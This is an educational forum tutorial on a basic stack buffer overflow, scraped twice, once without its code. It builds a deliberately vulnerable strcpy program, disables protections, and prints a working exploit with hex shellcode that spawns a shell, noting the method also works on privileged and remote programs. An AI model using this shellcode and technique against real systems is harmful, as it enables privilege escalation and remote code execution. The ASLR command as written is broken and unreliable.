06-11-2023, 05:53 AM
Hey, this is my first guide on the forum.
I know this is an ancient topic but we have to start somewhere.
If there is enough interest I will cover more advanced topics in the future.
In this guide we are going to start from 0. This means we will be exploiting a
very simple program on linux.
(I'm running this code on a 32bit debian 10 VM)
To follow along you should disable ASLR on your system:
This will make our life easier for this early example.
The program we will be exploiting is a very simple C program:
As you can see all it does is copy the first command line argument into a buffer that we have allocated space for on the stack.
Can you already see the issue?
Yep, that's right, we can surely write more bytes than the allocated 500 bytes into the buffer.
I will shortly cover what exactly we continue to overwrite after the 500 bytes.
But now let's first compile our program using gcc:
we can then use gdb to debug it:
we can then use
inside of gdb to run the program with 508 As as command line argument.
You should now see that the program crashed at 0x41414141
0x41 is the hex representation for the character A.
That means we have control over eip.
the instruction pointer register that determines which instruction we will execute next.
But how does this happen?
When we inspect the stack with
We can see that the stack s full of 0x41s. And that is clear, because we wrote them there using the strcpy
function. Every variable lies on the stack by default and we allocated 500 bytes on the stack for our
variable. When we then wrote 508 bytes into a variable that can only hold 500 bytes, we have overwritten some
other memory also.
The return address of the current function we are executing also lies on the stack. And if we write past our local variables we can overwrite it!
In our case this function is the main() function. If main tries to return, it pops the return address off the stack into eip to redirect code execution there.
Since we can control eip now, we can control what code will be executed next.
We do also have the ability to store 500 bytes of data onto the stack.
We could therefore copy some code of our own there and redirect code execution there to run
our code.
After some trial and error I ended up with the following exploit: (I still use python2 for this example)
- 0x90 is the nop instruction (to have more room to jump to. Please look up "nop sled")
- followed by the shellcode. I used shellcraft for this code
- followed by the return address on the stack a few times to make sure we overwrite the return address with it
if you pipe the output of that command into the buffer_overflow binary (or run it in gdb as described above)
you will have popped your first shell!
This is not really useful yet, but the same principle can be applied to:
- exploit more privileged programs to have them execute the code you want with more privileges than you have
- exploit programs on a remote host to gain code execution there.
This really has been a very basic tutorial but I think it is a really interesting topic
that doesn't get too much attention anymore.
You always have to start somewhere and if this has been interesting to you,
please let me know and this could be a series where we work toward exploiting
software in modern environments.
Thanks a lot for reading!
I hope you got something from it =)
I know this is an ancient topic but we have to start somewhere.
If there is enough interest I will cover more advanced topics in the future.
In this guide we are going to start from 0. This means we will be exploiting a
very simple program on linux.
(I'm running this code on a 32bit debian 10 VM)
To follow along you should disable ASLR on your system:
Code:
cat 0 > /proc/sys/kernel/randomize_va_space
This will make our life easier for this early example.
The program we will be exploiting is a very simple C program:
Code:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]); // Vulnerable function!
return 0;
}
As you can see all it does is copy the first command line argument into a buffer that we have allocated space for on the stack.
Can you already see the issue?
Yep, that's right, we can surely write more bytes than the allocated 500 bytes into the buffer.
I will shortly cover what exactly we continue to overwrite after the 500 bytes.
But now let's first compile our program using gcc:
Code:
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 buffer_overflow.c -o buffer_overflow
we can then use gdb to debug it:
Code:
gdb buffer_overflow
we can then use
Code:
run $(python -c 'print 'A'*508)
You should now see that the program crashed at 0x41414141
0x41 is the hex representation for the character A.
That means we have control over eip.
the instruction pointer register that determines which instruction we will execute next.
But how does this happen?
When we inspect the stack with
Code:
x/20x $esp - 40
function. Every variable lies on the stack by default and we allocated 500 bytes on the stack for our
variable. When we then wrote 508 bytes into a variable that can only hold 500 bytes, we have overwritten some
other memory also.
The return address of the current function we are executing also lies on the stack. And if we write past our local variables we can overwrite it!
In our case this function is the main() function. If main tries to return, it pops the return address off the stack into eip to redirect code execution there.
Since we can control eip now, we can control what code will be executed next.
We do also have the ability to store 500 bytes of data onto the stack.
We could therefore copy some code of our own there and redirect code execution there to run
our code.
After some trial and error I ended up with the following exploit: (I still use python2 for this example)
Code:
$(python -c 'print "\x90"*371
+ "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89
\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x6c\xf0\xff\xbf"*35')
- followed by the shellcode. I used shellcraft for this code
- followed by the return address on the stack a few times to make sure we overwrite the return address with it
if you pipe the output of that command into the buffer_overflow binary (or run it in gdb as described above)
you will have popped your first shell!
This is not really useful yet, but the same principle can be applied to:
- exploit more privileged programs to have them execute the code you want with more privileges than you have
- exploit programs on a remote host to gain code execution there.
This really has been a very basic tutorial but I think it is a really interesting topic
that doesn't get too much attention anymore.
You always have to start somewhere and if this has been interesting to you,
please let me know and this could be a series where we work toward exploiting
software in modern environments.
Thanks a lot for reading!
I hope you got something from it =)